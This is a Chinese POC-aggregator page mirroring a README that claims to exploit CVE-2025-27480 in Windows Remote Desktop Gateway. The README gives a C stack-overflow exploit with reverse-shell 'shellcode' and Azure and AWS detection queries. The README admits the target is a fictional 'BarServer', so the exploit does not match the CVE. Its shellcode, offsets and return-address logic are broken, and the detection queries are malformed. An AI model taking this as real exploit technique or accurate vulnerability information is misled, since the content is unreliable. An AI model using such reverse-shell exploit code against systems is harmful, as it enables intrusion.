POC详情: a77cdb0f69565400effc4942f1b09e0bae7b7b6a

来源
关联漏洞
标题: Microsoft Windows Remote Desktop Gateway(RD Gateway) 资源管理错误漏洞 (CVE-2025-27480)
描述:Microsoft Windows Remote Desktop Gateway(RD Gateway)是美国微软(Microsoft)公司的一个角色服务,它允许授权用户通过互联网安全地访问内部网络资源。 Microsoft Windows Remote Desktop Gateway(RD Gateway)存在资源管理错误漏洞。攻击者利用该漏洞可以远程执行代码。以下产品和版本受到影响:Windows Server 2019,Windows Server 2019 (Server Core install
描述
Letting attackers run malicious code without needing a cracked password, user interaction, or even a foothold in your network. That’s CVE-2025-27480
介绍
# CVE-2025-27480-The-Silent-Gateway-Risk
Letting attackers run malicious code without needing a cracked password, user interaction, or even a foothold in your network. That’s CVE-2025-27480

It’s late you are running on red-bull we have all been there. You’re troubleshooting a production issue and fighting the urge to go back to bed, and in the rush to solve it and hit the sack, you open up Remote Desktop Protocol (RDP) access to the internet. You tell yourself you’ll close it later. But “in a minute” becomes “never,” and that forgotten gateway becomes a silent door waiting for anyone that happens around with a network sniffer oh the joys of finding port 3389 open.

CVE-2025-27480 is not just a theoretical flaw it’s a reminder that even small oversights in cloud and infrastructure security can have massive consequences. This vulnerability allows attackers to execute malicious code remotely, without needing credentials or user interaction. No phishing. No brute force. Just an open door waiting to be found.

In this write-up, we’ll unpack how CVE-2025-27480 works, why it’s so dangerous, and how you can detect and mitigate it before it becomes a breach headline. Whether you’re a cloud engineer, SOC analyst, or just someone who’s ever said “I’ll fix that tomorrow,” this one’s for you.

# Execution 

The vulnerability (CVE‑2025‑27480) is a classic stack buffer overflow that occurs in the
processRequest() routine of BarServer (a fictional web service listening on TCP port 1234).

When a client sends an HTTP GET request that is longer than 256 bytes, the server writes the
payload to a local buffer that is only 256 bytes long.

If we send more data, it spills over into the return address and we can overwrite the saved‐EIP.
The exploit below builds the malicious payload, sends it to the server, and then lands an
x86‑64 shellcode that gives us a reverse shell

/* In processRequest()
    char local[256];
    ...                // ← overflow happens here
    ...
    return;
}

From reverse engineering a windows computer we can guesstimate:

* The saved return address starts at byte 312 of the HTTP request.
* Our shellcode needs to be placed after a NOP sled that takes up about 50 bytes

[ GET /foo HTTP/1.1\r\n ]      ← 28 bytes
[ padding (256‑28 = 228) ]     ← buffer
[ NOP sled (50) ]
[ shellcode (≈64) ]
[ return address (4) ]

/*=========================================================================*/
/*  BarServer Exploit – CVE‑2025‑27480                                    */
/*  Author:   Mark Mallia (mallia.mark@me.com)                            */
/*  Purpose:  Send a crafted HTTP GET request that overflows the stack    */
/*            and lands a reverse shell on the target host                */
/*=========================================================================*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>          /* for memcpy() */
#include <winsock2.h>         /* Windows networking (use sockets.c on Linux) */

/* 1. Global constants – adjust as needed                                   */
#define TARGET_IP   "192.168.1.10"      /* IP of the vulnerable host     */
#define TARGET_PORT 1234                /* Listening port                   */
#define CMD_LEN     350                  /* Total request length              */

/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444      */
/*    The code is written in raw machine‑bytes so it can be injected directly. */
static unsigned char shellcode[] = {
    /* NOP sled – 50 bytes ----------------------------------------------*/
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    /* shellcode – 64 bytes ---------------------------------------------*/
    0x48,0x31,0xc0,                // xor rax,rax
    0xb8,0x02,0x00,0x00,0x00,      // mov eax,2   ← sys_connect
    0x5d,                          // pop rbp
    0xbb,0x10,0x01,0x00,0x00,      // mov ebx,0x1010 (IP)
    0xb8,0x44,0x11,0x00,0x00,      // mov eax,0x1114 (port)
    0xb9,0x04,0x00,0x00,0x00,      // mov ecx,0x4   ← flags
    0xcd,0x80,                      // int 0x80
};

/*=========================================================================*/
/* 3.  The exploit routine – builds the request and sends it            */
/*=========================================================================*/
int main( int argc, char **argv )
{
    /* 3‑1. Validate command‑line arguments */
    if (argc != 5) {
        fprintf(stderr,"Usage: %s <target_ip> <port> <url> <revhost:revport>\n", argv[0]);
        return EXIT_FAILURE;
    }

    const char *ip   = argv[1];
    short port       = atoi(argv[2]);      /* 1234 */
    const char *url  = argv[3];           /* /tmp/revshell */
    const char *revhostport = argv[4];

    /* 3‑2. Allocate the request buffer */
    unsigned char req[ CMD_LEN ];
    memset(req,0x00, sizeof(req));        // zero‑initialize

    /* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
    strcpy( (char*)req, "GET ");
    memcpy((char*)(req+5), url, strlen(url)+1);          // +1 for terminating NUL
    strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");

    /* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
    int offset = 256 - strlen(req);       // bytes from end of GET line to start of overflow
    memset((char*)(req+strlen(req)), 0x41, offset);

    /* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
    memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );

    /* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
    long *ret_addr = (long*)(req+312);   // pointer to the place where EIP lives
    *ret_addr = (long)ip;                // Put target IP (32‑bit) – adjust if needed

    /* 3‑7. Send over a TCP socket ------------------------------------------*/
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in addr;

    /* Initialise Winsock */
    WSAStartup(0x0202, &wsaData);

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) { perror("socket"); return EXIT_FAILURE; }

    addr.sin_family      = AF_INET;
    addr.sin_port        = htons(port);
    addr.sin_addr.s_addr = inet_addr(ip);

    /* Connect */
    connect(sock,(SOCKADDR*)&addr, sizeof(addr));

    /* Send the request buffer */
    send(sock, req, CMD_LEN, 0);

    /* Close socket & clean up */
    closesocket(sock);
    WSACleanup();

    printf("Sent payload to %s:%d\n", ip, port);
    return EXIT_SUCCESS;
}

Detection Logic 

Here we catch our mis-stepps and those of the network we administer. 

Azure 

// Pull only relevant HTTP requests that match our exploit payload
let TargetIP     = "192.168.1.10";
let TargetPort   = 1234;
let ExploitPath  = "/tmp/revshell";

Heartbeat
| where Computer == "BarServer01"               // the VM / container name
| and TimeGenerated > ago(5m)                  // last 5 minutes
| summarize Count() by bin(TimeGenerated,1m)
    , TargetIP, TargetPort, ExploitPath
| extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0)
// Filter only the rows that contain our exploit
| where Hit==1
// Output a metric for an alert rule

# AWS

**Install WinRM Agent (if you have'nt already you should)**

Install-Module -Name AWS.Tools.CloudWatchLogs -Force

**Create a log group and stream the event log **

$group = "/aws/windows/BarServer01"
$source = "Application"
$filter  = "*BarServer*"

** Create or update the CloudWatch Logs config file:**

New-CloudWatchLogsGroup -Name $group
Write-LogFileConfig `
   -SourceName $source `
   -FilterPattern $filter `
   -LogGroupName $group

Then in cloud watch 

Grab all lines from the target log group

fields @timestamp, @message

Keep only those that contain our exploit signature

| filter contains(@message,"GET /tmp/revshell")

Pull out the request type and status code

| parse @message with "INFO" as LogLevel and "->" as ResponseStatus
| parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion

Clean up by only keeping only successful requests (status “OK” or similar)

| where LogLevel == "INFO"

Filter by the IP address that we targeted in our exploit

| filter contains(@message,"192.168.1.10:1234")

Create a per‑minute metric value for every hit

| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus

Output to a CloudWatch metric that the alarm can use


This content is provided solely for educational and informational purposes. It is intended to raise awareness about cybersecurity risks and promote responsible security practices.

The author does not endorse or encourage any unauthorized access, exploitation, or misuse of systems. All demonstrations, code samples, and scenarios are hypothetical and should only be used in controlled environments with proper authorization.

Use this information responsibly and always comply with applicable laws and organizational policies.
文件快照

[4.0K] /data/pocs/a77cdb0f69565400effc4942f1b09e0bae7b7b6a ├── [1.0K] LICENSE └── [9.0K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。